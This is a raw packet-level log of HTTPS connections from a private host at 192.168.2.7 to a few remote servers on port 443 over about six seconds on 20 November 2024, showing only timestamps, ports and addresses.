Nov 20, 2024 17:42:07.491528988 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.530622005 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.530673981 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.530699015 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.530709982 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.530741930 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.530796051 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.540421009 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.540498018 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.540505886 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.540544033 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.540601969 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.540646076 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.548654079 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.548669100 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.886346102 CET	443	49835	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.889547110 CET	443	49835	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.889640093 CET	49835	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.889714956 CET	49835	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.889758110 CET	443	49835	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.889787912 CET	49835	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.889803886 CET	443	49835	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.893649101 CET	49847	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.893692970 CET	443	49847	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:07.893758059 CET	49847	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.894005060 CET	49847	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:07.894016981 CET	443	49847	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.008323908 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.008383989 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.008409023 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.008450031 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.008455992 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.008471966 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.008491993 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.008512020 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.008519888 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.008521080 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.008543015 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.008616924 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.009814978 CET	49848	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.009856939 CET	443	49848	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.010087967 CET	49848	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.010324001 CET	49848	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.010339022 CET	443	49848	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.178289890 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.178344965 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.178385973 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.178437948 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.178467035 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.178499937 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.382033110 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.382059097 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.382117987 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.382128954 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.382155895 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.382165909 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.540915966 CET	443	49837	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.541488886 CET	49837	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.541507006 CET	443	49837	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.542249918 CET	49837	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.542253971 CET	443	49837	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.580564976 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.580634117 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.580660105 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.580697060 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.580718994 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.580869913 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.605015993 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.605635881 CET	49838	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.605645895 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.606131077 CET	49838	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.606134892 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.616904020 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.616965055 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.616996050 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.617038012 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.617055893 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.617239952 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.672358990 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.672976017 CET	49839	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.672996044 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.673460960 CET	49839	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.673469067 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.812903881 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.812975883 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.813005924 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.813052893 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.813072920 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.813699007 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:08.983407974 CET	443	49837	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.983931065 CET	443	49837	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:08.984026909 CET	49837	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.003242016 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.003298044 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.003334999 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.003371000 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.003396988 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.003443003 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.005191088 CET	49837	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.005213022 CET	443	49837	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.005225897 CET	49837	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.005230904 CET	443	49837	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.017118931 CET	49849	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.017170906 CET	443	49849	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.017481089 CET	49849	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.019371986 CET	49849	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.019395113 CET	443	49849	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.061166048 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.064378977 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.064435005 CET	49838	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.079829931 CET	443	49840	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.100320101 CET	49838	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.100342035 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.104031086 CET	49840	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.104078054 CET	443	49840	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.104841948 CET	49840	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.104856968 CET	443	49840	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.107410908 CET	49850	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.107466936 CET	443	49850	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.107603073 CET	49850	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.107913971 CET	49850	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.107934952 CET	443	49850	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.196065903 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.196116924 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.196158886 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.196173906 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.196199894 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.196218014 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.296849966 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.298983097 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.299061060 CET	49839	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.300502062 CET	49839	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.300502062 CET	49839	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.300519943 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.300529003 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.338121891 CET	49851	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.338169098 CET	443	49851	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.338229895 CET	49851	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.338676929 CET	49851	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.338694096 CET	443	49851	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.387809992 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.387871981 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.387922049 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.387953997 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.387978077 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.388093948 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.421067953 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.421117067 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.421176910 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.421200037 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.421222925 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.421299934 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.532350063 CET	443	49840	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.535428047 CET	443	49840	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.535521030 CET	49840	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.535571098 CET	443	49840	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.535605907 CET	443	49840	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.535695076 CET	49840	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.535742998 CET	443	49840	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.535772085 CET	49840	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.535772085 CET	49840	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.535793066 CET	443	49840	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.535816908 CET	443	49840	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.538615942 CET	49852	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.538641930 CET	443	49852	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.538872957 CET	49852	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.539022923 CET	49852	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.539038897 CET	443	49852	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.611835003 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.611884117 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.611917973 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.611932993 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.611958027 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.611977100 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.704781055 CET	443	49847	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.705569983 CET	49847	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.705585957 CET	443	49847	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.708764076 CET	49847	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.708769083 CET	443	49847	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.796885014 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.796950102 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.796977043 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.797018051 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.797034025 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.797209024 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.823329926 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.823371887 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.823410988 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.823431969 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.823477030 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.823981047 CET	49834	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.824016094 CET	443	49834	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.824935913 CET	443	49848	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.825242043 CET	49848	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.825275898 CET	443	49848	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.826407909 CET	443	49848	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.826709032 CET	49848	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.826843977 CET	49848	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:09.826883078 CET	443	49848	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:09.878406048 CET	49848	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:10.184101105 CET	443	49847	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:10.187158108 CET	443	49847	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:10.188889980 CET	49847	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:10.189352989 CET	49847	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:10.189377069 CET	443	49847	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:10.189389944 CET	49847	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:10.189398050 CET	443	49847	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:10.192713976 CET	49864	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:10.192743063 CET	443	49864	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:10.192806959 CET	49864	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:10.192967892 CET	49864	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:10.192976952 CET	443	49864	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:10.311142921 CET	443	49848	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:10.311362982 CET	443	49848	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:10.311454058 CET	49848	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:10.323869944 CET	49848	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:10.323896885 CET	443	49848	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:10.748481989 CET	443	49806	142.250.181.68	192.168.2.7
Nov 20, 2024 17:42:10.748553038 CET	443	49806	142.250.181.68	192.168.2.7
Nov 20, 2024 17:42:10.748610020 CET	49806	443	192.168.2.7	142.250.181.68
Nov 20, 2024 17:42:10.753813982 CET	443	49849	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:10.755342960 CET	49849	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:10.755377054 CET	443	49849	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:10.756139994 CET	49849	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:10.756148100 CET	443	49849	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:10.874749899 CET	443	49850	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:10.875418901 CET	49850	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:10.875451088 CET	443	49850	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:10.876137972 CET	49850	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:10.876143932 CET	443	49850	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.071388006 CET	49806	443	192.168.2.7	142.250.181.68
Nov 20, 2024 17:42:11.071412086 CET	443	49806	142.250.181.68	192.168.2.7
Nov 20, 2024 17:42:11.248545885 CET	443	49849	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.248621941 CET	443	49849	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.248677969 CET	443	49849	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.248713970 CET	49849	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:11.248745918 CET	49849	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:11.249013901 CET	49849	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:11.249037981 CET	443	49849	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.249053001 CET	49849	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:11.249059916 CET	443	49849	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.314620018 CET	443	49850	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.317692041 CET	443	49850	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.317825079 CET	49850	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:11.318223953 CET	49850	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:11.318237066 CET	443	49850	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.333107948 CET	443	49851	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.350229979 CET	49851	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:11.350274086 CET	443	49851	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.350903034 CET	49851	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:11.350912094 CET	443	49851	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.397543907 CET	443	49852	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.406084061 CET	49852	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:11.406095982 CET	443	49852	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.406728029 CET	49852	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:11.406732082 CET	443	49852	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.412905931 CET	49866	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:11.412952900 CET	443	49866	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.413058043 CET	49867	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:11.413075924 CET	49866	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:11.413088083 CET	443	49867	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.413151026 CET	49867	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:11.413553953 CET	49866	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:11.413566113 CET	443	49866	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.413760900 CET	49867	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:11.413772106 CET	443	49867	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.775466919 CET	443	49851	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.780960083 CET	443	49851	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.781193018 CET	49851	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:11.808454990 CET	49851	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:11.808481932 CET	443	49851	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.862051010 CET	443	49852	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.864219904 CET	443	49852	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.864279985 CET	49852	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:11.922894955 CET	443	49864	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:11.972449064 CET	49864	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:12.158497095 CET	49852	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:12.158512115 CET	443	49852	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:12.158525944 CET	49852	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:12.158530951 CET	443	49852	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:12.184693098 CET	49864	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:12.184712887 CET	443	49864	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:12.185559988 CET	49864	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:12.185566902 CET	443	49864	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:12.195949078 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:12.196002007 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:12.196074963 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:12.211709023 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:12.211740017 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:12.216151953 CET	49875	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:12.216178894 CET	443	49875	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:12.216238022 CET	49875	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:12.216509104 CET	49875	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:12.216520071 CET	443	49875	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:12.502538919 CET	443	49864	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:12.505357027 CET	443	49864	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:12.505410910 CET	49864	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:12.505423069 CET	443	49864	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:12.505435944 CET	443	49864	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:12.505503893 CET	49864	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:12.506031036 CET	49864	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:12.506047010 CET	443	49864	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:12.506058931 CET	49864	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:12.506063938 CET	443	49864	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:12.511418104 CET	49876	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:12.511499882 CET	443	49876	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:12.511588097 CET	49876	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:12.511801004 CET	49876	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:12.511828899 CET	443	49876	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:13.207542896 CET	443	49867	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:13.208225965 CET	49867	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:13.208250046 CET	443	49867	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:13.210213900 CET	49867	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:13.210222006 CET	443	49867	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:13.334155083 CET	443	49866	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:13.337829113 CET	49866	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:13.337845087 CET	443	49866	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:13.338474035 CET	49866	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:13.338476896 CET	443	49866	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:13.811630011 CET	443	49867	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:13.814620018 CET	443	49867	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:13.814805031 CET	49867	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:13.814805031 CET	49867	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:13.814841986 CET	49867	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:13.814862013 CET	443	49867	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:13.817945957 CET	49887	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:13.817977905 CET	443	49887	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:13.818037987 CET	49887	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:13.818542957 CET	49887	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:13.818559885 CET	443	49887	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:13.941169024 CET	443	49866	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:13.944351912 CET	443	49866	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:13.945413113 CET	49866	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:13.946871042 CET	49866	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:13.946887970 CET	443	49866	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:13.946897984 CET	49866	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:13.946903944 CET	443	49866	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:13.949726105 CET	49888	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:13.949754953 CET	443	49888	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:13.949944973 CET	49888	443	192.168.2.7	13.107.246.63
